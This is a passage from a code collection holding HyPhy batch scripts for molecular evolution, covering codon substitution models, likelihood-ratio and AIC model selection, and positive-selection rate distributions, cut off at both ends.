\t\t{\n\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*AT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*AT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t  \t\t}\n\t\t\t\t\t  \t\telse\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tif (rateType == 4)\n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*CG*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*CG*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*CG*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*CG*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\tif (rateType == 5)\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*CT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*CT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*CT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*CT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*GT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*GT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*GT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*GT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t  \t}\n\t\t\t\t\t  \t}\n\t\t\t\t  \t}\t\t\t\t  \t\n\t\t\t\t  }\n\t\t\t}\n\t\t}\t\n\t}\t\n\treturn 0;\n}\n\n\nfunction BuildCodonFrequencies (obsF)\n{\n\tPIStop = 1.0;\n\tresult = {ModelMatrixDimension,1};\n\thshift = 0;\n\n\tfor (h=0; h<64; h=h+1)\n\t{\n\t\tfirst = h$16;\n\t\tsecond = h%16$4;\n\t\tthird = h%4;\n\t\tif (_Genetic_Code[h]==10) \n\t\t{\n\t\t\thshift = hshift+1;\n\t\t\tPIStop = PIStop-obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t\t\tcontinue; \n\t\t}\n\t\tresult[h-hshift][0]=obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t}\n\treturn result*(1.0/PIStop);\n}\n\nfunction  setElement (h,v,cc)\n{\t\n\tmSpecMatrix[h][v]=cc+1;\n\tmSpecMatrix[v][h]=cc+1;\n\treturn 1;\n}\n\n\nfunction printModelMatrix (modelString)\n{\n\t\n\tmstrConv = \"1\";\n\tfor (v2 = 1; v2 < 6; v2 = v2+1)\n\t{\n\t\tif (modelString[v2]==\"0\")\n\t\t{\n\t\t\tmstrConv = mstrConv+\"1\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (modelString[v2]==\"1\")\n\t\t\t{\n\t\t\t\tmstrConv = mstrConv+\"B\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (modelString[v2]==\"2\")\n\t\t\t\t{\n\t\t\t\t\tmstrConv = mstrConv+\"C\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (modelString[v2]==\"3\")\n\t\t\t\t\t{\n\t\t\t\t\t\tmstrConv = mstrConv+\"D\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif (modelString[v2]==\"4\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmstrConv = mstrConv+\"E\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmstrConv = mstrConv+\"F\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tsep = \"+---+-----+-----+-----+-----+\\n\";\n\tfprintf (stdout, sep,\n\t\t\t\t\t \"|   |  A  |  C  |  G  |  T  |\\n\",\n\t\t\t\t\t sep,\n\t\t\t\t\t \"| A |  *  | \", mstrConv[0], \"*t | \", mstrConv[1], \"*t | \", mstrConv[2], \"*t |\\n\",\n\t\t\t\t\t sep,\n\t\t\t\t\t \"| C | \", mstrConv[0], \"*t |  *  | \", mstrConv[3], \"*t | \", mstrConv[4], \"*t |\\n\",\n\t\t\t\t\t sep,\n\t\t\t\t\t \"| G | \", mstrConv[1], \"*t | \" , mstrConv[3], \"*t |  *  | \", mstrConv[5], \"*t |\\n\",\n\t\t\t\t\t sep,\n\t\t\t\t\t \"| T | \", mstrConv[2], \"*t | \" , mstrConv[4], \"*t | \", mstrConv[5], \"*t |  *  |\\n\",\n\t\t\t\t\t sep, \"\\nt = synRate for synonymous substitutions, and t=R*synRate for non-synonumous ones.\\n\");\n\t\t\t\t\t\t \n\treturn 1;\n}\n\n#include \t\t\t\t   \"TemplateModels/chooseGeneticCode.def\";\nSetDialogPrompt \t\t   (\"Please specify a codon data file:\");\n\nDataSet \t\t\t\t   ds \t\t\t= ReadDataFile (PROMPT_FOR_FILE);\nDataSetFilter \t\t\t   filteredData = CreateFilter (ds,3,\"\",\"\",GeneticCodeExclusions);\n\nfprintf \t\t\t\t   (stdout,\"\\n______________READ THE FOLLOWING DATA______________\\n\",ds);\n\n\nHarvestFrequencies         (observedFreq,filteredData,3,1,1);\n\nmSpecMatrix \t\t\t   = {{*,1,1,1}{1,*,1,1}{1,1,*,1}{1,1,1,*}};\nModelMatrixDimension       = 0;\n\n_DO_TREE_REBALANCE_ = 1;\n\n#include \"queryTree.bf\";\n#include \"TemplateModels/modelParameters5.mdl\";\n\nif (modelType > 0)\n{\n\t#include \"TemplateModels/defineGamma.mdl\";\n}\n\nChoiceList (branchLengths,\"Estimate Branch Lengths\",1,SKIP_NONE,\n\t\t\t\"Every Time\",\"Branch lengths are reestimated for every model.\",\n\t\t\t\"Once\",\"Branch lenghts obtained from the nucleotide GTR model and reused for subsequent models.\"\n\t       );\n\nif (branchLengths<0)\n{\n\treturn;\n}\n\nrejectAt = 0;\n\nwhile ((rejectAt<=0)||(rejectAt>=1))\n{\n\tfprintf (stdout, \"\\nModel rejection level (e.g. 0.05):\");\n\tfscanf  (stdin,\"Number\", rejectAt);\n}\n\nSetDialogPrompt (\"Save results to:\"); \n \nfprintf (PROMPT_FOR_FILE, CLEAR_FILE); \nBASE_PATH = LAST_FILE_PATH; \n\nKEEP_OPTIMAL_ORDER = 1;\nMESSAGE_LOGGING = 0;\n\nglobal AC=1;\nglobal AT=1;\nglobal CG=1;\nglobal CT=1;\nglobal GT=1;\nglobal R=1;\n\n\nr = setElement (0,2,1);\nr = setElement (0,3,2);\nr = setElement (1,2,3);\nr = setElement (1,3,4);\nr = setElement (2,3,5);\n\nMG94custom = 0;\nMULTIPLY_BY_FREQS     = PopulateModelMatrix (\"MG94custom\", observedFreq);\nvectorOfFrequencies   = BuildCodonFrequencies (observedFreq);\nModel MG94customModel = (MG94custom,vectorOfFrequencies,0);\n\nUSE_POSITION_SPECIFIC_FREQS = 1;\nTree tr = treeString;\n\naddOn = 0;\n\nif (branchLengths)\n{\n\tglobal TreeScaler = 1;\n\tGTRMatrix = {{*,AC*nt,nt,AT*nt}{AC*nt,*,CG*nt,CT*nt}{nt,CG*nt,*,GT*nt}{AT*nt,CT*nt,GT*nt,*}};\n\tDataSetFilter \tnucFilter = CreateFilter (filteredData,1);\n\tHarvestFrequencies         (nucFreq,nucFilter,1,1,1);\n\tModel GTRModel = (GTRMatrix,nucFreq,1);\n\tgivenTreeString = Format (tr,0,0);\n\tTree nucTree = givenTreeString;\n\tLikelihoodFunction lfn = (nucFilter, nucTree);\n\tOptimize (nres,lfn);\n\tReplicateConstraint (\"this1.?.synRate:=this2.?.nt__/TreeScaler\",tr,nucTree);\n\taddOn = nres[1][1]-nres[1][2]-1;\n}\n\nLikelihoodFunction lf = (filteredData, tr);\n\nresultCache = {203,9};\n\nmodelNum\t= 0;\nrejectCount = 0;\n\nif (MPI_NODE_COUNT>1)\n{\n\tMPINodeState = {MPI_NODE_COUNT-1,8};\n\tOPTIMIZE_SUMMATION_ORDER = 0;\n\tMPISend (1,lf);\n\tMPINodeState[0][0] = 1;\n\tMPINodeState[0][1] = modelNum;\n}\nelse\n{\n\tOptimize (lf_MLES,lf);\n\tvv1 = 0;\n\tvv2 = 0;\n\tvv3 = 0;\n\tvv4 = 0;\n\tvv5 = 0;\n\tvv6 = 0;\n\tdummy = ReceiveJobs (0);\n}\n\nrateBiasTerms = {{\"AC\",\"1\",\"AT\",\"CG\",\"CT\",\"GT\"}};\n\nfor (v2=0; v2<=1; v2=v2+1)\n{\n\tfor (v3=0; v3<=v2+1; v3=v3+1)\n\t{\n\t\tif (v3>v2)\n\t\t{\n\t\t\tub4 = v3;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tub4 = v2;\n\t\t}\n\t\tfor (v4=0; v4<=ub4+1; v4=v4+1)\n\t\t{\n\t\t\tif (v4>=ub4)\n\t\t\t{\n\t\t\t\tub5 = v4;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tub5 = ub4;\n\t\t\t}\n\t\t\tfor (v5=0; v5<=ub5+1; v5=v5+1)\n\t\t\t{\n\t\t\t\tif (v5>ub5)\n\t\t\t\t{\n\t\t\t\t\tub6 = v5;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tub6 = ub5;\n\t\t\t\t}\n\t\t\t\tfor (v6=0; v6<=ub6+1; v6=v6+1)\n\t\t\t\t{\n\t\t\t\t\tif (v6==5)\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tR = 1;\n\n\t\t\t\t\tparamCount\t  = 0;\n\n\t\t\t\t\tmodelDesc = \"0\"+Format(v2,1,0);\n\t\t\t\t\tmodelDesc = modelDesc+Format(v3,1,0);\n\t\t\t\t\tmodelDesc = modelDesc+Format(v4,1,0);\n\t\t\t\t\tmodelDesc = modelDesc+Format(v5,1,0);\n\t\t\t\t\tmodelDesc = modelDesc+Format(v6,1,0);\n\t\t\t\t\t\n\t\t\t\t\tmodelConstraintString = \"\";\n\t\t\t\t\t\n\t\t\t\t\tAC = 1;\n\t\t\t\t\tAT = 1;\n\t\t\t\t\tCG = 1;\n\t\t\t\t\tCT = 1;\n\t\t\t\t\tGT = 1;\n\n\t\t\t\t\tfor (customLoopCounter2=1; customLoopCounter2<6; customLoopCounter2=customLoopCounter2+1)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (customLoopCounter=0; customLoopCounter<customLoopCounter2; customLoopCounter=customLoopCounter+1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (modelDesc[customLoopCounter2]==modelDesc[customLoopCounter])\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (rateBiasTerms[customLoopCounter2] == \"1\")\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tmodelConstraintString = modelConstraintString + rateBiasTerms[customLoopCounter]+\":=\"+rateBiasTerms[customLoopCounter2]+\";\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tmodelConstraintString = modelConstraintString + rateBiasTerms[customLoopCounter2]+\":=\"+rateBiasTerms[customLoopCounter]+\";\";\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\n\t\t\t\t\tif (Abs(modelConstraintString))\n\t\t\t\t\t{\n\t\t\t\t\t\tExecuteCommands (modelConstraintString);\n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\tmodelNum = modelNum+1;\n\t\t\t\t\tif (MPI_NODE_COUNT>1)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (mpiNode = 0; mpiNode < MPI_NODE_COUNT-1; mpiNode = mpiNode+1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (MPINodeState[mpiNode][0]==0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (mpiNode==MPI_NODE_COUNT-1)\n\t\t\t\t\t\t/* all nodes busy */\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmpiNode = ReceiveJobs (1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tMPISend (mpiNode+1,lf);\n\t\t\t\t\t\t\tMPINodeState[mpiNode][0] = 1;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][1] = modelNum;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][2] = v1;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][3] = v2;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][4] = v3;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][5] = v4;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][6] = v5;\n\t\t\t\t\t\t\tMPINodeState[mpiNode][7] = v6;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tOptimize (lf_MLES,lf);\n\t\t\t\t\t\tvv1 = v1;\n\t\t\t\t\t\tvv2 = v2;\n\t\t\t\t\t\tvv3 = v3;\n\t\t\t\t\t\tvv4 = v4;\n\t\t\t\t\t\tvv5 = v5;\n\t\t\t\t\t\tvv6 = v6;\n\t\t\t\t\t\tdummy = ReceiveJobs (0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n}\n\nif (MPI_NODE_COUNT>1)\n{\n\twhile (1)\n\t{\n\t\tfor (nodeCounter = 0; nodeCounter < MPI_NODE_COUNT-1; nodeCounter = nodeCounter+1)\n\t\t{\n\t\t\tif (MPINodeState[nodeCounter][0]==1)\n\t\t\t{\n\t\t\t\tfromNode = ReceiveJobs (0);\n\t\t\t\tbreak;\t\n\t\t\t}\n\t\t}\n\t\tif (nodeCounter == MPI_NODE_COUNT-1)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}\t\n\tOPTIMIZE_SUMMATION_ORDER = 1;\n}\n\nfunction checkEmbedding (_m1, _m2)\n{\n\tfor (r=0; r<6; r=r+1)\n\t{\n\t\tif (_m2[r]<_m1[r])\n\t\t{\n\t\t\t/*fprintf (stdout,_m1,\" \", _m2, \" Reject 1 at position \",r,\"\\n\");*/\n\t\t\treturn 0;\n\t\t}\n\t\tif (_m2[r]>_m1[r])\n\t\t{\n\t\t\tfor (r2 = 0; r2 < 6; r2 = r2+1)\n\t\t\t{\n\t\t\t\tif ((_m2[r2]==_m2[r])&&(_m1[r2]!=_m1[r]))\n\t\t\t\t{\n\t\t\t\t\t/*fprintf (stdout,_m1,\" \", _m2, \" Reject 2 at positions \",r,r2,\"\\n\");*/\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 1;\n}\n\nPRINT_DIGITS = 0;\n\nfprintf (stdout, \"\\n\\n--------------------------\\n   (*) => p-Value < \", rejectAt, \"\\nRejected \", rejectCount, \" models.\\n\");\n\n\nif (rejectCount<202)\n{\n\n\tfprintf (stdout, \"\\nPerforming nested tests on the remaining models...\\n\");\n\n\tdone = 0;\n\twhile (!done)\n\t{\n\t\tdone = 1;\n\t\tfor (v2=1; v2<203; v2=v2+1)\n\t\t{\n\t\t\tif (resultCache[v2][8])\n\t\t\t{\n\t\t\t\tmodelString = \"0\";\n\t\t\t\tfor (v3 = 0; v3<5; v3=v3+1)\n\t\t\t\t{\n\t\t\t\t\tmodelString = modelString + resultCache [v2][v3];\n\t\t\t\t}\n\t\t\t\tfor (v3 = v2+1; v3<203; v3 = v3+1)\n\t\t\t\t{\n\t\t\t\t\tif (resultCache[v3][8])\n\t\t\t\t\t{\n\t\t\t\t\t\tmodelString2 = \"0\";\n\t\t\t\t\t\tfor (v4 = 0; v4<5; v4=v4+1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmodelString2 = modelString2 + resultCache [v3][v4];\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\tif (checkEmbedding (modelString, modelString2))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfprintf (stdout,\"H: (\", modelString,\") A: (\", modelString2, \"). \");\n\t\t\t\t\t\t\tdone = 0;\n\t\t\t\t\t\t\tLRT = 2*(resultCache[v3][5]-resultCache[v2][5]);\n\t\t\t\t\t\t\tnpd = resultCache[v3][6]-resultCache[v2][6];\n\t\t\t\t\t\t\tif (LRT<0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tpValue = 1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tpValue = 1-CChi2(LRT,npd);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tfprintf (stdout,\" P-Value=\", Format (pValue,10,3));\n\t\t\t\t\t\t\tif (pValue<rejectAt)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfprintf (stdout,\". Rejected H.\\n\");\n\t\t\t\t\t\t\t\tresultCache[v2][8] = 0;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfprintf (stdout,\". Failed to reject H. Discarding A.\\n\");\n\t\t\t\t\t\t\t\tresultCache[v3][8] = 0;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfprintf (stdout,\"\\n\\nRemaining models:\\n\\n#   |  Model   | # prm |    lnL    |      LRT       |    AIC     |   P-Value        |\");   \n\tfprintf (stdout,\"\\n----|----------|-------|-----------|----------------|------------|------------------|\"); \n\tfprintf (BASE_PATH,\"\\n\\nRemaining models:\\n\\n#   |  Model   | # prm |    lnL    |      LRT       |    AIC     |   P-Value        |\");   \n\tfprintf (BASE_PATH,\"\\n----|----------|-------|-----------|----------------|------------|------------------|\"); \n\t\n\tmodelNum = 0;  \n\tv5 = 1e10;\n\tv4 = 0;\n\n\tfor (v2=1; v2<203; v2=v2+1)\n\t{\n\t\tif (resultCache[v2][8])\n\t\t{\n\t\t\tmodelNum = 0;\n\t\t\tmodelString = \"0\";\n\t\t\tfor (v3 = 0; v3<5; v3=v3+1)\n\t\t\t{\n\t\t\t\tmodelString = modelString + resultCache [v2][v3];\n\t\t\t}\n\t\t\tnp  = resultCache[v2][6];\n\t\t\tlnL = resultCache[v2][5];\n\t\t\tLRT = -2*(lnL-stdl);\n\t\t\tif (LRT<0)\n\t\t\t{\n\t\t\t\tLRT = 0;\n\t\t\t}\n\t\t\tAIC = -2*lnL+2*np;\n\t\t\tmodelNum = modelNum + 1;\n\t\t\tPRINT_DIGITS = 3;\n\t\t\tfprintf (stdout,\"\\n\",v2);\n\t\t\tfprintf (BASE_PATH,\"\\n\",v2);\n\t\t\tPRINT_DIGITS = 1;\n\t\t\tfprintf (stdout,\" | (\",0,resultCache[v2][0],resultCache[v2][1],resultCache[v2][2],resultCache[v2][3],resultCache[v2][4],\") | \");\n\t\t\tfprintf (stdout,Format (np,5,0));\n\t\t\tfprintf (BASE_PATH,\" | (\",0,resultCache[v2][0],resultCache[v2][1],resultCache[v2][2],resultCache[v2][3],resultCache[v2][4],\") | \");\n\t\t\tfprintf (BASE_PATH,Format (np,5,0));\n\t\t\tPRINT_DIGITS = 8;\n\t\t\tfprintf (stdout, \" |  \",lnL,\" | \",Format(LRT,14,3), \" |  \", AIC, \"  |  \", );\n\t\t\tfprintf (BASE_PATH, \" |  \",lnL,\" | \",Format(LRT,14,3), \" |  \", AIC, \"  |  \", );\n\t\t\tPRINT_DIGITS = 15;\n\t\t\tif (LRT==0)\n\t\t\t{\n\t\t\t\tpValue = 1;\t\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tpValue = 1-CChi2(LRT,fullnp-np);\n\t\t\t}\n\t\t\tif (AIC<v5)\n\t\t\t{\n\t\t\t\tv5 = AIC;\n\t\t\t\tv4 = v2;\n\t\t\t}\n\t\t\tfprintf (stdout,pValue,\" |\");\n\t\t\tfprintf (BASE_PATH,pValue,\" |\");\n\t\t\t\n\t\t}\n\t}\n\t\n\tPRINT_DIGITS = 0;\n\tmodelString = \"0\";\n\tfor (v3 = 0; v3<5; v3=v3+1)\n\t{\n\t\tmodelString = modelString + Format(resultCache [v4][v3],0,0);\n\t}\n\t\n\tfprintf (stdout, \"\\n\\nAIC based winner: (\", modelString, \") with AIC = \", v5, \"\\n\\n\");\n\tfprintf (BASE_PATH, \"\\n\\nAIC based winner: (\", modelString, \") with AIC = \", v5, \"\\n\\n\");\n\t\n\tdummy = printModelMatrix (modelString);\n\t\n\tmodelString2 = \"\";\n\tif (modelString == \"000000\")\n\t{\n\t\tmodelString2 = \"F81\";\n\t}\n\tif (modelString == \"010010\")\n\t{\n\t\tmodelString2 = \"HKY85\";\n\t}\n\tif (modelString == \"010020\")\n\t{\n\t\tmodelString2 = \"TrN\";\n\t}\n\tif (Abs(modelString2))\n\t{\n\t\tfprintf (stdout, \"\\nThis model is better known as:\", modelString2, \"\\n\");\n\t\tfprintf (BASE_PATH, \"\\nThis model is better known as:\", modelString2, \"\\n\");\n\t}\n\n}\nelse\n{\n\tfprintf (stdout, \"\\nGeneral Reversible Model is the winner!\\n\");\n\tfprintf (BASE_PATH, \"\\nGeneral Reversible Model is the winner!\\n\");\n}\n\n\n\n"
  },
  {
    "path": "samples/HyPhy/MFPositiveSelection.bf",
    "content": "ModelNames = {{\"Neutral\",\n\t  \t\t  \"Selection\",\n\t\t\t  \"Discrete\",\n\t\t\t  \"Freqs\",\n\t\t\t  \"Gamma\",\n\t\t\t  \"2 Gamma\",\n\t\t\t  \"Beta\",\n\t\t\t  \"Beta & w\",\n\t\t\t  \"Beta & Gamma\",\n\t\t\t  \"Beta & (Gamma+1)\",\n\t\t\t  \"Beta & (Normal>1)\",\n\t\t\t  \"0 & 2 (Normal>1)\",\n\t\t\t  \"3 Normal\",\n\t\t\t  \"RE: Lognormal\",\n\t\t\t  \"RE: Gamma\",\n\t\t\t  \"RE: Discrete\"}};\n\t\t\t  \nParameterCount = {{0,\n\t  \t\t  \t   1,\n\t\t\t  \t   3,\n\t\t\t  \t   4,\n\t\t\t  \t   2,\n\t\t\t  \t   4,\n\t\t\t       2,\n\t\t\t  \t   4,\n\t\t\t  \t   5,\n\t\t\t       5,\n\t\t\t  \t   5,\n\t\t\t       5,\n\t\t\t       6,\n\t\t\t       1,\n\t\t\t       2,\n\t\t\t       4\n\t\t\t       }};\n\t\t\t       \nMAXIMUM_ITERATIONS_PER_VARIABLE = 2000;\nOPTIMIZATION_PRECISION = 0.001;\n\t\t\t  \nfunction SetWDistribution (resp)\n{\n\tif (rateType == 0)\n\t{\n\t\tglobal P = .5;\n\t\tP:<1;\n\t\tcategFreqMatrix = {{P,1-P}};\n\t\tcategRateMatrix = {{0,1}};\n\t\tcategory c = (2, categFreqMatrix , MEAN, ,categRateMatrix, 0, 1e25);\n\t}\n\telse\n\t{\n\t\tif (rateType == 1)\n\t\t{\n\t\t\tglobal P1 = 1/3;\n\t\t\tglobal P2 = 0;\n\t\t\t\n\t\t\tP1:<1;\n\t\t\tP2:<1;\n\t\t\t\n\t\t\tglobal W = 1;\n\t\t\tcategFreqMatrix = {{P1,(1-P1)*P2, (1-P1)*(1-P2)}} ;\n\t\t\tcategRateMatrix = {{0,1,W}};\n\t\t\tcategory c = (3, categFreqMatrix , MEAN, ,categRateMatrix, 0, 1e25);\n\t\t}\t\t\n\t\telse\n\t\t{\n\t\t\tif (rateType == 2)\n\t\t\t{\n\t\t\t\tglobal P1 = 1/3;\n\t\t\t\tglobal P2 = .5;\n\t\t\t\tP1:<1;\n\t\t\t\tP2:<1;\n\t\t\t\tglobal W1 = .25;\n\t\t\t\tglobal R1 = 4;\n\t\t\t\tglobal R2 = 3;\n\t\t\t\tR1:>1;\n\t\t\t\tR2:>1;\n\t\t\t\tcategFreqMatrix = {{P1,(1-P1)*P2, (1-P1)*(1-P2)}} ;\n\t\t\t\tcategRateMatrix = {{W1,W1*R1,W1*R1*R2}};\n\t\t\t\tcategory c = (3, categFreqMatrix , MEAN, ,categRateMatrix, 0, 1e25);\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (rateType == 3)\n\t\t\t\t{\n\t\t\t\t\tglobal P1 = 1/5;\n\t\t\t\t\tglobal P2 = 1/4;\n\t\t\t\t\tglobal P3 = 1/3;\n\t\t\t\t\tglobal P4 = 1/2;\n\t\t\t\t\t\n\t\t\t\t\tP1:<1;\n\t\t\t\t\tP2:<1;\n\t\t\t\t\tP3:<1;\n\t\t\t\t\tP4:<1;\n\t\t\t\t\t\n\t\t\t\t\tcategFreqMatrix = {{P1,\n\t\t\t\t\t\t\t\t\t\t(1-P1)P2,\n\t\t\t\t\t\t\t\t\t\t(1-P1)(1-P2)*P3,\n\t\t\t\t\t\t\t\t\t\t(1-P1)(1-P2)(1-P3)P4,\n\t\t\t\t\t\t\t\t\t\t(1-P1)(1-P2)(1-P3)(1-P4)}} ;\n\t\t\t\t\tcategRateMatrix = {{0,1/3,2/3,1,3}};\n\t\t\t\t\tcategory c = (5, categFreqMatrix , MEAN, ,categRateMatrix, 0, 1e25);\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (rateType == 4)\n\t\t\t\t\t{\n\t\t\t\t\t\tglobal alpha = .5;\n\t\t\t\t\t\tglobal beta = 1;\n\t\t\t\t\t\talpha:>0.01;alpha:<100;\n\t\t\t\t\t\tbeta:>0.01;\n\t\t\t\t\t\tbeta:<200;\n\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, GammaDist(_x_,alpha,beta), CGammaDist(_x_,alpha,beta), 0 , \n\t\t\t\t \t\t\t \t\t  1e25,CGammaDist(_x_,alpha+1,beta)*alpha/beta);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif (rateType == 5)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tglobal alpha = .5;\n\t\t\t\t\t\t\tglobal beta  =  1;\n\t\t\t\t\t\t\tglobal alpha2=  .75;\n\t\t\t\t\t\t\tglobal P\t = .5; \n\t\t\t\t\t\t\talpha:>0.01;alpha:<100;\n\t\t\t\t\t\t\tbeta:>0.01;\n\t\t\t\t\t\t\tbeta:<200;\n\t\t\t\t\t\t\tP:<1;\n\t\t\t\t\t\t\talpha2:>0.01;alpha2:<100;\n\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, P*GammaDist(_x_,alpha,beta) + (1-P)*GammaDist(_x_,alpha2,alpha2)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t   , P*CGammaDist(_x_,alpha,beta) + (1-P)*CGammaDist(_x_,alpha2,alpha2), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t   0 , 